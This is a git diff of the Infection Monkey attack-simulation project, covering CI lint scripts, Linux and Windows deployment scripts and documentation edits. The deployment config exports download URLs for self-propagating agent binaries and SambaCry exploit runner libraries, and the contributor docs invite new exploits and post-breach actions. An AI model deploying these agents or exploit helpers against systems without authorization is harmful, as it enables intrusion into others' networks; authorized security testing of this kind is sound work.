https://docs.npmjs.com/cli/ci.html - eslint ./src --quiet # Test for errors -- JS_WARNINGS_AMOUNT_UPPER_LIMIT=28 +- JS_WARNINGS_AMOUNT_UPPER_LIMIT=7 - eslint ./src --max-warnings $JS_WARNINGS_AMOUNT_UPPER_LIMIT # Test for max warnings # Build documentation diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 08a78a815..0f1131b65 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -8,7 +8,7 @@ Please try to be as specific as you can about your problem; try to include steps to reproduce. While we'll try to help anyway, focusing us will help us help you faster. If you want to contribute new code or fix bugs, please read the following sections. You can also contact us (the -maintainers of this project) at our [Slack channel](https://join.slack.com/t/infectionmonkey/shared_invite/enQtNDU5MjAxMjg1MjU1LTM2ZTg0ZDlmNWNlZjQ5NDI5NTM1NWJlYTRlMGIwY2VmZGMxZDlhMTE2OTYwYmZhZjM1MGZhZjA2ZjI4MzA1NDk). +maintainers of this project) at our [Slack channel](https://infectionmonkey.slack.com/join/shared_invite/enQtNDU5MjAxMjg1MjU1LWM0NjVmNWE2ZTMzYzAxOWJiYmMxMzU0NWU3NmUxYjcyNjk0YWY2MDkwODk4NGMyNDU4NzA4MDljOWNmZWViNDU). ## Submitting Issues * **Do** write a detailed description of your bug and use a descriptive title. diff --git a/LICENSE b/LICENSE index 94a9ed024..52c6a0280 100644 --- a/LICENSE +++ b/LICENSE @@ -5,6 +5,9 @@ Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. + This product includes software developed by SecureAuth Corporation + (https://www.secureauth.com/). + Preamble The GNU General Public License is a free, copyleft license for diff --git a/ci_scripts/.gitignore b/ci_scripts/.gitignore new file mode 100644 index 000000000..67f93fcdc --- /dev/null +++ b/ci_scripts/.gitignore @@ -0,0 +1,2 @@ +./validation-env +./flake8_warnings.txt diff --git a/ci_scripts/README.md b/ci_scripts/README.md new file mode 100644 index 000000000..09330d298 --- /dev/null +++ b/ci_scripts/README.md @@ -0,0 +1,8 @@ +# About + +Run this script to validate your code locally and auto fix/format the problems before pushing. + +# Usage + +You've got to manually download swimm for swimm validation. +run from `infection_monkey` directory: `powershell .\ci_scripts\validate.ps1` diff --git a/ci_scripts/flake8_linter_check.ini b/ci_scripts/flake8_linter_check.ini new file mode 100644 index 000000000..b8daeaf70 --- /dev/null +++ b/ci_scripts/flake8_linter_check.ini @@ -0,0 +1,15 @@ +[flake8] +## Warn about linter issues. + +exclude = ../monkey/monkey_island/cc/ui, + ../monkey/common/cloud +show-source = True +max-complexity = 10 +max-line-length = 127 + +### --statistics Count the number of occurrences of each error/warning code and print a report. +statistics = True + +### --count will print the total number of errors. +count = True + diff --git a/ci_scripts/flake8_syntax_check.ini b/ci_scripts/flake8_syntax_check.ini new file mode 100644 index 000000000..969379326 --- /dev/null +++ b/ci_scripts/flake8_syntax_check.ini @@ -0,0 +1,15 @@ +[flake8] + +## Check syntax errors and fail the build if any are found. +exclude = + ../monkey/monkey_island/cc/ui, + ../monkey/common/cloud +select = + E901, + E999, + F821, + F822, + F823 +count = True +show-source = True +statistics = True diff --git a/ci_scripts/install_requirements.ps1 b/ci_scripts/install_requirements.ps1 new file mode 100644 index 000000000..de42d8599 --- /dev/null +++ b/ci_scripts/install_requirements.ps1 @@ -0,0 +1,5 @@ +python -m venv validation-env +.\validation-env\Scripts\activate.ps1 +python -m pip install -r .\requirements.txt +npm i -g eslint +deactivate diff --git a/ci_scripts/isort.cfg b/ci_scripts/isort.cfg new file mode 100644 index 000000000..d8651febd --- /dev/null +++ b/ci_scripts/isort.cfg @@ -0,0 +1,6 @@ +[isort] + +# Possible options: https://pycqa.github.io/isort/docs/configuration/options/ + +known_first_party=common,infection_monkey,monkey_island +skip=monkey/common/cloud/scoutsuite,monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators_list.py,monkey/monkey_island/cc/ui,monkey/common/cloud/scoutsuite diff --git a/ci_scripts/requirements.txt b/ci_scripts/requirements.txt new file mode 100644 index 000000000..2b7db1909 --- /dev/null +++ b/ci_scripts/requirements.txt @@ -0,0 +1,6 @@ +flake8 +pytest +dlint +isort +coverage +black diff --git a/ci_scripts/validate.ps1 b/ci_scripts/validate.ps1 new file mode 100644 index 000000000..d85da6a2a --- /dev/null +++ b/ci_scripts/validate.ps1 @@ -0,0 +1,39 @@ +.\ci_scripts\validation-env\Scripts\activate.ps1 +$ErrorActionPreference = "Stop" +python -m pip install -r monkey/monkey_island/requirements.txt +python -m pip install -r monkey/infection_monkey/requirements.txt +flake8 ./monkey --config ./ci_scripts/flake8_syntax_check.cfg +flake8 ./monkey --exit-zero --config ./ci_scripts/flake8_linter_check.cfg | Out-File -FilePath .\ci_scripts\flake8_warnings.txt +Get-Content -Path .\ci_scripts\flake8_warnings.txt +$PYTHON_WARNINGS_AMOUNT_UPPER_LIMIT = 80 +if ((Get-Item -Path .\ci_scripts\flake8_warnings.txt | Get-Content -Tail 1) -gt $PYTHON_WARNINGS_AMOUNT_UPPER_LIMIT){ + "Too many python linter warnings! Failing this build. Lower the amount of linter errors in this and try again. " + exit +} +python -m isort ./monkey -c --settings-file ./ci_scripts/isort.cfg +if (!$?) { + $confirmation = Read-Host "Isort found errors. Do you want to attmpt to fix them automatically? (y/n)" + if ($confirmation -eq 'y') { + python -m isort ./monkey --settings-file ./ci_scripts/isort.cfg + } +} +Push-Location -Path ./monkey +python ./monkey_island/cc/environment/set_server_config.py testing +python -m pytest +$lastCommandSucceeded = $? +python ./monkey_island/cc/environment/set_server_config.py restore +Pop-Location + +if (!$lastCommandSucceeded) { + exit +} + +Push-Location -Path .\monkey\monkey_island\cc\ui +eslint ./src -c ./.eslintrc +Pop-Location + +swimm verify + +Write-Host "Script finished. Press any key to continue" +$null = $Host.UI.RawUI.ReadKey('NoEcho,IncludeKeyDown'); +deactivate diff --git a/codecov.yml b/codecov.yml new file mode 100644 index 000000000..190044367 --- /dev/null +++ b/codecov.yml @@ -0,0 +1,2 @@ +fixes: + - "::monkey/" diff --git a/deployment_scripts/README.md b/deployment_scripts/README.md index 16b150852..4ee91b5b4 100644 --- a/deployment_scripts/README.md +++ b/deployment_scripts/README.md @@ -39,6 +39,7 @@ Your user must have root permissions; however, don't run the script as root! ```sh wget https://raw.githubusercontent.com/guardicore/monkey/develop/deployment_scripts/deploy_linux.sh +chmod u+x ./deploy_linux.sh ``` This will download our deploy script. It's a good idea to read it quickly before executing it! @@ -52,4 +53,13 @@ After downloading that script, execute it in a shell. The first argument should - `./deploy_linux.sh "" "master"` (deploys master branch in script directory) - `./deploy_linux.sh "/home/user/new" "master"` (if directory "new" is not found creates it and clones master branch into it) -You may also pass in an optional third `false` parameter to disable downloading the latest agent binaries. \ No newline at end of file +You may also pass in an optional third `false` parameter to disable downloading the latest agent binaries. + +### Run on Linux + +After the `deploy_linux.sh` script completes, you can start the monkey island. + +```sh +cd infection_monkey/monkey +./monkey_island/linux/run.sh +``` diff --git a/deployment_scripts/config b/deployment_scripts/config index bda54e390..cad04a01c 100644 --- a/deployment_scripts/config +++ b/deployment_scripts/config @@ -4,41 +4,42 @@ export MONKEY_FOLDER_NAME="infection_monkey" # Url of public git repository that contains monkey's source code export MONKEY_GIT_URL="https://github.com/guardicore/monkey" -get_latest_release() { - curl --silent "https://api.github.com/repos/$1/releases/latest" | # Get latest release from GitHub API - grep '"tag_name":' | # Get tag line - sed -E 's/.*"([^"]+)".*/\1/' # Pluck JSON value +exists() { + command -v "$1" >/dev/null 2>&1 } -MONKEY_LATEST_RELEASE=$(get_latest_release "monkey/guardicore") +get_latest_release() { + RELEASE_URL="https://api.github.com/repos/$1/releases/latest" + + if exists wget; then + RELEASE_INFO=$(wget --quiet -O - "$RELEASE_URL") # Get latest release from GitHub API + else + RELEASE_INFO=$(curl --silent "$RELEASE_URL") # Get latest release from GitHub API + fi + + echo "$RELEASE_INFO" | + grep '"tag_name":' | # Get tag line + sed -E 's/.*"([^"]+)".*/\1/' # Pluck JSON value +} + +MONKEY_LATEST_RELEASE=$(get_latest_release "guardicore/monkey") # Monkey binaries -LINUX_32_BINARY_NAME="monkey-linux-32" -LINUX_32_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$($MONKEY_LATEST_RELEASE)/monkey-linux-32" -export LINUX_32_BINARY_URL -export LINUX_32_BINARY_NAME +export LINUX_32_BINARY_NAME="monkey-linux-32" +export LINUX_32_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/monkey-linux-32" -LINUX_64_BINARY_NAME="monkey-linux-64" -LINUX_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$($MONKEY_LATEST_RELEASE)/monkey-linux-64" -export LINUX_64_BINARY_URL -export LINUX_64_BINARY_NAME +export LINUX_64_BINARY_NAME="monkey-linux-64" +export LINUX_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/monkey-linux-64" -WINDOWS_32_BINARY_NAME="monkey-windows-32.exe" -WINDOWS_32_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$($MONKEY_LATEST_RELEASE)/monkey-windows-32.exe" -export WINDOWS_32_BINARY_URL -export WINDOWS_32_BINARY_NAME +export WINDOWS_32_BINARY_NAME="monkey-windows-32.exe" +export WINDOWS_32_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/monkey-windows-32.exe" -WINDOWS_64_BINARY_NAME="monkey-windows-64.exe" -WINDOWS_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$($MONKEY_LATEST_RELEASE)/monkey-windows-64.exe" -export WINDOWS_64_BINARY_URL -export WINDOWS_64_BINARY_NAME +export WINDOWS_64_BINARY_NAME="monkey-windows-64.exe" +export WINDOWS_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/monkey-windows-64.exe" # Other binaries for monkey -TRACEROUTE_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$($MONKEY_LATEST_RELEASE)/traceroute64" -export TRACEROUTE_64_BINARY_URL -TRACEROUTE_32_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$($MONKEY_LATEST_RELEASE)/traceroute32" -export TRACEROUTE_32_BINARY_URL -SAMBACRY_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$($MONKEY_LATEST_RELEASE)/sc_monkey_runner64.so" -export SAMBACRY_64_BINARY_URL -SAMBACRY_32_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$($MONKEY_LATEST_RELEASE)/sc_monkey_runner32.so" -export SAMBACRY_32_BINARY_URL +export TRACEROUTE_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/traceroute64" +export TRACEROUTE_32_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/traceroute32" + +export SAMBACRY_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/sc_monkey_runner64.so" +export SAMBACRY_32_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/sc_monkey_runner32.so" diff --git a/deployment_scripts/config.ps1 b/deployment_scripts/config.ps1 index 21b9beca6..d140eb711 100644 --- a/deployment_scripts/config.ps1 +++ b/deployment_scripts/config.ps1 @@ -30,6 +30,7 @@ $TRACEROUTE_32_BINARY_URL = $MONKEY_DOWNLOAD_URL + "traceroute32" # Other directories and paths ( most likely you dont need to configure) $MONKEY_ISLAND_DIR = Join-Path "\monkey" -ChildPath "monkey_island" $MONKEY_DIR = Join-Path "\monkey" -ChildPath "infection_monkey" +$SCOUTSUITE_DIR = Join-Path "\monkey" "common" "cloud" "scoutsuite" $SAMBA_BINARIES_DIR = Join-Path -Path $MONKEY_DIR -ChildPath "\bin" $TEMP_PYTHON_INSTALLER = ".\python.exe" $TEMP_MONGODB_ZIP = ".\mongodb.zip" diff --git a/deployment_scripts/deploy_linux.sh b/deployment_scripts/deploy_linux.sh index d13478018..408aa3148 100755 --- a/deployment_scripts/deploy_linux.sh +++ b/deployment_scripts/deploy_linux.sh @@ -10,7 +10,7 @@ is_root() { has_sudo() { # 0 true, 1 false - timeout 1 sudo id && return 0 || return 1 + return $(sudo -nv > /dev/null 2>&1) } handle_error() { @@ -23,6 +23,11 @@ log_message() { echo -e "DEPLOYMENT SCRIPT: $1" } +if is_root; then + log_message "Please don't run this script as root" + exit 1 +fi + config_branch=${2:-"develop"} config_url="https://raw.githubusercontent.com/guardicore/monkey/${config_branch}/deployment_scripts/config" @@ -62,14 +67,9 @@ ISLAND_BINARIES_PATH="$ISLAND_PATH/cc/binaries" INFECTION_MONKEY_DIR="$monkey_home/monkey/infection_monkey" MONKEY_BIN_DIR="$INFECTION_MONKEY_DIR/bin" -if is_root; then - log_message "Please don't run this script as root" - exit 1 -fi - -HAS_SUDO=$(has_sudo) -if [[ ! $HAS_SUDO ]]; then - log_message "You need root permissions for some of this script operations. Quiting." +if ! has_sudo; then + log_message "You need root permissions for some of this script operations. \ +Run \`sudo -v\`, enter your password, and then re-run this script." exit 1 fi @@ -110,13 +110,16 @@ if [[ ${python_cmd} == "" ]]; then log_message "Python 3.7 command not found. Installing python 3.7." sudo add-apt-repository ppa:deadsnakes/ppa sudo apt-get update - sudo apt install python3.7 python3.7-dev + sudo apt-get install -y python3.7 python3.7-dev log_message "Python 3.7 is now available with command 'python3.7'." python_cmd="python3.7" fi log_message "Installing build-essential" -sudo apt install build-essential +sudo apt-get install -y build-essential + +log_message "Installing python3-distutils" +sudo apt-get install -y python3-distutils log_message "Installing or updating pip" # shellcheck disable=SC2086 @@ -134,11 +137,10 @@ requirements_island="$ISLAND_PATH/requirements.txt" ${python_cmd} -m pip install -r "${requirements_island}" --user --upgrade || handle_error log_message "Installing monkey requirements" -sudo apt-get install libffi-dev upx libssl-dev libc++1 +sudo apt-get install -y libffi-dev upx libssl-dev libc++1 requirements_monkey="$INFECTION_MONKEY_DIR/requirements.txt" ${python_cmd} -m pip install -r "${requirements_monkey}" --user --upgrade || handle_error - agents=${3:-true} # Download binaries if [ "$agents" = true ] ; then @@ -162,15 +164,19 @@ chmod a+x "$ISLAND_BINARIES_PATH/$LINUX_64_BINARY_NAME" # If a user haven't installed mongo manually check if we can install it with our script if ! exists mongod; then + log_message "Installing libcurl4" + sudo apt-get install -y libcurl4 + log_message "Installing MongoDB" "${ISLAND_PATH}"/linux/install_mongo.sh ${MONGO_PATH} || handle_error fi log_message "Installing openssl" -sudo apt-get install openssl +sudo apt-get install -y openssl # Generate SSL certificate log_message "Generating certificate" +chmod u+x "${ISLAND_PATH}"/linux/create_certificate.sh "${ISLAND_PATH}"/linux/create_certificate.sh ${ISLAND_PATH}/cc # Update node diff --git a/deployment_scripts/deploy_windows.ps1 b/deployment_scripts/deploy_windows.ps1 index 3a57e9dcb..85a3f0698 100644 --- a/deployment_scripts/deploy_windows.ps1 +++ b/deployment_scripts/deploy_windows.ps1 @@ -115,6 +115,9 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName, "Installing python packages for monkey" $monkeyRequirements = Join-Path -Path $monkey_home -ChildPath $MONKEY_DIR | Join-Path -ChildPath "\requirements.txt" & python -m pip install --user -r $monkeyRequirements + "Installing python packages for ScoutSuite" + $scoutsuiteRequirements = Join-Path -Path $monkey_home -ChildPath $SCOUTSUITE_DIR | Join-Path -ChildPath "\requirements.txt" + & python -m pip install --user -r $scoutsuiteRequirements $user_python_dir = cmd.exe /c 'py -m site --user-site' $user_python_dir = Join-Path (Split-Path $user_python_dir) -ChildPath "\Scripts" diff --git a/docs/content/FAQ/_index.md b/docs/content/FAQ/_index.md index 5e0ef505e..2d46310cd 100644 --- a/docs/content/FAQ/_index.md +++ b/docs/content/FAQ/_index.md @@ -5,10 +5,11 @@ draft: false pre: " " --- -Here are some of the most common questions we receive about the Infection Monkey. If the answer you’re looking for isn’t here, talk with us [on our Slack channel](https://infectionmonkey.slack.com/), email us at [support@infectionmonkey.com](mailto:support@infectionmonkey.com) or [open an issue on GitHub](https://github.com/guardicore/monkey). +Here are some of the most common questions we receive about the Infection Monkey. If the answer you're looking for isn't here, talk with us [on our Slack channel](https://infectionmonkey.slack.com/join/shared_invite/enQtNDU5MjAxMjg1MjU1LWM0NjVmNWE2ZTMzYzAxOWJiYmMxMzU0NWU3NmUxYjcyNjk0YWY2MDkwODk4NGMyNDU4NzA4MDljOWNmZWViNDU), email us at [support@infectionmonkey.com](mailto:support@infectionmonkey.com) or [open an issue on GitHub](https://github.com/guardicore/monkey). -- [Where can I get the latest Monkey version? 📰](#where-can-i-get-the-latest-monkey-version) +- [Where can I get the latest Monkey version?](#where-can-i-get-the-latest-monkey-version) - [How long does a single Monkey run for? Is there a time limit?](#how-long-does-a-single-monkey-run-for-is-there-a-time-limit) +- [How to reset the password?](#how-to-reset-the-password) - [Should I run the Monkey continuously?](#should-i-run-the-monkey-continuously) - [Which queries does Monkey perform to the Internet exactly?](#which-queries-does-monkey-perform-to-the-internet-exactly) - [Where can I find the log files of the Monkey and the Monkey Island, and how can I read them?](#where-can-i-find-the-log-files-of-the-monkey-and-the-monkey-island-and-how-can-i-read-them) @@ -16,16 +17,16 @@ Here are some of the most common questions we receive about the Infection Monkey - [Monkey agent](#monkey-agent) - [Running the Monkey in a production environment](#running-the-monkey-in-a-production-environment) - [How much of a footprint does the Monkey leave?](#how-much-of-a-footprint-does-the-monkey-leave) - - [What’s the Monkey’s impact on system resources usage?](#whats-the-monkeys-impact-on-system-resources-usage) - - [Is it safe to use real passwords and usernames in the Monkey’s configuration?](#is-it-safe-to-use-real-passwords-and-usernames-in-the-monkeys-configuration) + - [What's the Monkey's impact on system resources usage?](#whats-the-monkeys-impact-on-system-resources-usage) + - [Is it safe to use real passwords and usernames in the Monkey's configuration?](#is-it-safe-to-use-real-passwords-and-usernames-in-the-monkeys-configuration) - [How do you store sensitive information on Monkey Island?](#how-do-you-store-sensitive-information-on-monkey-island) - [How stable are the exploitations used by the Monkey? Will the Monkey crash my systems with its exploits?](#how-stable-are-the-exploitations-used-by-the-monkey-will-the-monkey-crash-my-systems-with-its-exploits) -- [After I’ve set up Monkey Island, how can I execute the Monkey?](#after-ive-set-up-monkey-island-how-can-i-execute-the-monkey) +- [After I've set up Monkey Island, how can I execute the Monkey?](#after-ive-set-up-monkey-island-how-can-i-execute-the-monkey) - [How can I make the monkey propagate “deeper” into the network?](#how-can-i-make-the-monkey-propagate-deeper-into-the-network) - [The report returns a blank screen](#the-report-returns-a-blank-screen) -- [How can I get involved with the project? 👩‍💻👨‍💻](#how-can-i-get-involved-with-the-project) +- [How can I get involved with the project?](#how-can-i-get-involved-with-the-project) -## Where can I get the latest Monkey version? 📰 +## Where can I get the latest Monkey version? For the latest **stable** release for users, visit [our downloads page](https://www.guardicore.com/infectionmonkey/#download). **This is the recommended and supported version**! @@ -35,6 +36,23 @@ If you want to see what has changed between versions, refer to the [releases pag The Monkey shuts off either when it can't find new victims, or when it has exceeded the quota of victims as defined in the configuration. +## How to reset the password? + +On your first access of Monkey Island server, you'll be prompted to create an account. If you forgot the credentials you + entered or just want to change them, you need to manually alter the `server_config.json` file. On Linux, this file is + located on `/var/monkey/monkey_island/cc/server_config.json`. On windows, it's based on your install directory (typically + `C:\Program Files\Guardicore\Monkey Island\monkey_island\cc\server_config.json`). Reset the contents of this file + leaving the **deployment option unchanged** (it might be "vmware" or "linux" in your case): + +```json +{ + "server_config": "password", + "deployment": "windows" +} +``` + Then reset the Island process (`sudo systemctl restart monkey-island.service` for linux, restart program for windows). + Finally, go to the Island's URL and create a new account. + ## Should I run the Monkey continuously? Yes! This will allow you to verify that no new security issues were identified by the Monkey since the last time you ran it. @@ -59,7 +77,7 @@ The Monkey performs queries out to the Internet on two separate occasions: ### Monkey Island -The Monkey Island’s log file can be downloaded directly from the UI. Click the “log” section and choose “Download Monkey Island internal logfile”, like so: +The Monkey Island's log file can be downloaded directly from the UI. Click the “log” section and choose “Download Monkey Island internal logfile”, like so: ![How to download Monkey Island internal log file](/images/faq/download_log_monkey_island.png "How to download Monkey Island internal log file") @@ -80,7 +98,7 @@ The Monkey log file can be found in the following paths on machines where it was - Path on Linux: `/tmp/user-1563` - Path on Windows: `%temp%\\~df1563.tmp` -The logs contain information about the internals of the Monkey’s execution. The log will contain entries like these ones for example: +The logs contain information about the internals of the Monkey's execution. The log will contain entries like these ones for example: ```log 2019-07-22 19:16:44,228 [77598:140654230214464:INFO] main.main.116: >>>>>>>>>> Initializing monkey (InfectionMonkey): PID 77598 <<<<<<<<<< @@ -106,13 +124,13 @@ The Monkey leaves hardly any trace on the target system. It will leave: - Path on Linux: `/tmp/user-1563` - Path on Windows: `%temp%\\~df1563.tmp` -### What’s the Monkey’s impact on system resources usage? +### What's the Monkey's impact on system resources usage? The Infection Monkey uses less than single-digit percent of CPU time and very low RAM usage. For example, on a single-core Windows Server machine, the Monkey consistently uses 0.06% CPU, less than 80MB of RAM and a small amount of I/O periodically. If you do experience any performance issues please let us know on [our Slack channel](https://infectionmonkey.slack.com/) or via [opening an issue on GitHub](https://github.com/guardicore/monkey). -### Is it safe to use real passwords and usernames in the Monkey’s configuration? +### Is it safe to use real passwords and usernames in the Monkey's configuration? Absolutely! User credentials are stored encrypted in the Monkey Island server. This information is then accessible only to users that have access to the Island. @@ -120,7 +138,7 @@ We advise to limit access to the Monkey Island server by following our [password ### How do you store sensitive information on Monkey Island? -Sensitive data such as passwords, SSH keys and hashes are stored on the Monkey Island’s database in an encrypted fashion. This data is transmitted to the Infection Monkeys in an encrypted fashion (HTTPS) and is not stored locally on the victim machines. +Sensitive data such as passwords, SSH keys and hashes are stored on the Monkey Island's database in an encrypted fashion. This data is transmitted to the Infection Monkeys in an encrypted fashion (HTTPS) and is not stored locally on the victim machines. When you reset the Monkey Island configuration, the Monkey Island wipes the information. @@ -128,9 +146,9 @@ When you reset the Monkey Island configuration, the Monkey Island wipes the info The Monkey does not use any exploits or attacks that may impact the victim system. -This means we avoid using some very strong (and famous) exploits such as [EternalBlue](https://www.guardicore.com/2017/05/detecting-mitigating-wannacry-copycat-attacks-using-guardicore-centra-platform/). This exploit was used in WannaCry and NotPetya with huge impact. But because it may crash a production system, we aren’t using it. +This means we avoid using some very strong (and famous) exploits such as [EternalBlue](https://www.guardicore.com/2017/05/detecting-mitigating-wannacry-copycat-attacks-using-guardicore-centra-platform/). This exploit was used in WannaCry and NotPetya with huge impact. But because it may crash a production system, we aren't using it. -## After I’ve set up Monkey Island, how can I execute the Monkey? +## After I've set up Monkey Island, how can I execute the Monkey? See our detailed [getting started](../content/usage/getting-started) guide. @@ -149,6 +167,14 @@ This is sometimes caused when Monkey Island is installed with an old version of - **Linux**: First, uninstall the current version with `sudo apt uninstall mongodb` and then install the latest version using the [official mongodb manual](https://docs.mongodb.com/manual/administration/install-community/). - **Windows**: First, remove the MongoDB binaries from the `monkey\monkey_island\bin\mongodb` folder. Download and install the latest version of mongodb using the [official mongodb manual](https://docs.mongodb.com/manual/administration/install-community/). After installation is complete, copy the files from the `C:\Program Files\MongoDB\Server\4.2\bin` folder to the `monkey\monkey_island\bin\mongodb folder`. Try to run the Island again and everything should work. -## How can I get involved with the project? 👩‍💻👨‍💻 +## How can I get involved with the project? The Monkey is an open-source project, and we weclome contributions and contributors. Check out the [contribution documentation](../development) for more information. + +## About the project 🐵 + +### How did you come up with the Infection Monkey? + +Oddly enough, the idea of proactively breaking the network to test its survival wasn't born in the security industry. In 2011, the streaming giant Netflix released Chaos Monkey, a tool that was designed to randomly disable the company's production servers to verify they could survive network failures without any customer impact. Netflix's Chaos Monkey became a popular network resilience tool, breaking the network in a variety of failure modes, including connectivity issues, invalid SSL certificates and randomly deleting VMs. + +Inspired by this concept, Guardicore Labs developed its own attack simulator - Infection Monkey - to run non-intrusively within existing production environments. The idea was to test the resiliency of modern data centers against attack and give security teams the insights they need to make informed decisions and enforce tighter security policies. Since its launch in 2017 (?) the Infection Monkey has been used by hundreds of information technology teams from across the world to find weaknesses in their on-premises and cloud-based data centers. diff --git a/docs/content/development/_index.md b/docs/content/development/_index.md index deab32e6c..236c7c3cd 100644 --- a/docs/content/development/_index.md +++ b/docs/content/development/_index.md @@ -13,31 +13,31 @@ Want to help secure networks? That's great! ## How should I start? -Here's a few short links to help you get started. +Here are a few short links to help you get started: -* [Getting up and running](../setup-development-environment) - To help you get a working development setup. -* [Contributing guidelines](https://github.com/guardicore/monkey/blob/master/CONTRIBUTING.md) - Some guidelines to help you submit. +* [Getting up and running](./setup-development-environment) - These instructions will help you get a working development setup. +* [Contributing guidelines](https://github.com/guardicore/monkey/blob/master/CONTRIBUTING.md) - These guidelines will help you submit. ## What are we looking for? -You can take a look at [our roadmap](https://github.com/guardicore/monkey/projects/5) to see what issues we're thinking about doing soon. We are looking for: +You can take a look at [our roadmap](https://github.com/guardicore/monkey/projects/5) to see what issues we're thinking about tackling soon. We are always looking for: ### More exploits! 💥 -The best way to find weak spots in the network is by attacking it. The [Exploit template](https://github.com/guardicore/monkey/wiki/Exploit-templates) page will help you add exploits. +The best way to find weak spots in a network is by attacking it. The [exploit template](https://github.com/guardicore/monkey/wiki/Exploit-templates) page will help you add exploits. -It's important to note that the Infection Monkey must be perfectly reliable otherwise no one will use it, so avoid memory corruption exploits _unless they're rock solid_ and focus on the logical vulns such as Shellshock. +It's important to note that the Infection Monkey must be absolutely reliable. Otherwise, no one will use it, so avoid memory corruption exploits unless they're rock solid and focus on the logical vulns such as Shellshock. ### Analysis plugins 🔬 -Successfully attacking every server in the network is no good unless the Monkey can explain how to prevent the attack. Whether it's detecting when the Monkey is using stolen credentials or when the Monkey can escape locked down networks, this is the part that actually helps secure different parts. +Successfully attacking every server in the network has little value if the Infection Monkey can't provide recommendations for reducing future risk. Whether it's explaining how the Infection Monkey used stolen credentials or escaped from locked-down networks, analysis is what helps users translate the Infection Monkey's activities into actionable next steps for improving security. ### Better code 💪 -We always want to improve the core Monkey code, to make it smaller, faster and more reliable. If you have an idea of how to do it, or just want to modularise/improve test coverage for the code, do share! +We always want to improve the core Infection Monkey code to make it smaller, faster and more reliable. Please share if you have an idea that will help us meet these goals or modularize/improve test coverage. ### Documentation 📚 -Every project requires better documentation. The Monkey is no different, so feel free to open PRs with suggestions, improvements or issues asking us to document different parts of the Monkey. +Every project requires excellent documentation. The Infection Monkey is no different. Please feel free to open pull requests with suggestions, improvements or issues and asking us to document various parts of the Monkey. -The Monkey's documentation is stored in the `/docs/content` directory. +The Infection Monkey's documentation is stored in the `/docs/content` directory. diff --git a/docs/content/development/add-zero-trust-test.md b/docs/content/development/add-zero-trust-test.md index d43dcacef..61b3a427c 100644 --- a/docs/content/development/add-zero-trust-test.md +++ b/docs/content/development/add-zero-trust-test.md @@ -5,22 +5,22 @@ draft: false weight: 100 --- -## How to add a new Zero Trust test to the Monkey? +## How do I add a new Zero Trust test to the Monkey? -Assuming the Monkey agent is already sending the relevant telemetry, you'll need to add the test in two places. +Assuming the Infection Monkey agent is already sending the relevant telemetry, you'll need to add the test in two places. ### `zero_trust_consts.py` -In the file `/monkey/common/data/zero_trust_consts.py`, +In the file `/monkey/common/data/zero_trust_consts.py`: 1. Add the test name to the TESTS set -2. Add a relevant recommendation if exists -3. Add the test to the TESTS_MAP dict. Make sure that all statuses (except `STATUS_UNEXECUTED`) have finding explanations. +2. Add a relevant recommendation if it exists +3. Add the test to the TESTS_MAP dict. Ensure that all statuses (except `STATUS_UNEXECUTED`) have finding explanations. ### `telemetry/processing.py` -Find the relevant telemetry type you wish to test the finding in. This can be found in `/monkey/monkey_island/cc/services/telemetry/processing.py`. In the relevant `process_*_telemetry` function, add your Zero Trust testing code. Please put the zero trust tests under the `/monkey/monkey_island/cc/services/telemetry/zero_trust_tests` directory. There you can find examples of existing tests as well, so you'll know pretty much what you need to write. +Find the relevant telemetry type you wish to test the finding in next. These can be found in `/monkey/monkey_island/cc/services/telemetry/processing.py`. In the relevant `process_*_telemetry` function, add your Zero Trust testing code. Please put the Zero Trust tests under the `/monkey/monkey_island/cc/services/telemetry/zero_trust_tests` directory. There you can also find examples of existing tests as well, so you'll have a reference for what you need to write. -## How to test the new Zero Trust test I've implemented? +## How do I test the new Zero Trust test I've implemented? -Test ALL possible finding statuses you've defined in a fake network. Observe the events as well and see they were formatted correctly. If there's an algorithmic part to your Zero Trust test, please cover it using a Unit Test. +Test ALL possible finding statuses you've defined in a fake network. Ensure the events were formatted correctly by observing them. If there's an algorithmic part to your Zero Trust test, please cover it using a Unit Test. diff --git a/docs/content/development/adding-post-breach-actions.md b/docs/content/development/adding-post-breach-actions.md index a5445bfc9..033a6118c 100644 --- a/docs/content/development/adding-post-breach-actions.md +++ b/docs/content/development/adding-post-breach-actions.md @@ -6,17 +6,17 @@ tags: ["contribute"] weight: 90 --- -## What's this? +## What does this guide cover? -This guide will show you how to create a new _Post Breach action_ for the Infection Monkey. _Post Breach actions_ are "extra" actions that the Monkey can perform on the victim machines after it propagated to them. +This guide will show you how to create a new _post-breach action_ (PBA) for the Infection Monkey. PBA are "extra" actions that the Infection Monkey can perform on victim machines after propagating to them. ## Do I need a new PBA? -If all you want is to execute shell commands, then there's no need to add a new PBA - just configure the required commands in the Monkey Island configuration! If you think that those specific commands have reuse value in all deployments and not just your own, you can add a new PBA. If you need to run actual Python code, you must add a new PBA. +If all you want to do is execute shell commands, then there's no need to add a new PBA - just configure the required commands in the Monkey Island configuration! If you think that those specific commands have reuse value in other deployments besides your own, you can add a new PBA. Additionally, if you need to run actual Python code, you must add a new PBA. ## How to add a new PBA -### Monkey side +### From the Infection Monkey Side #### Framework 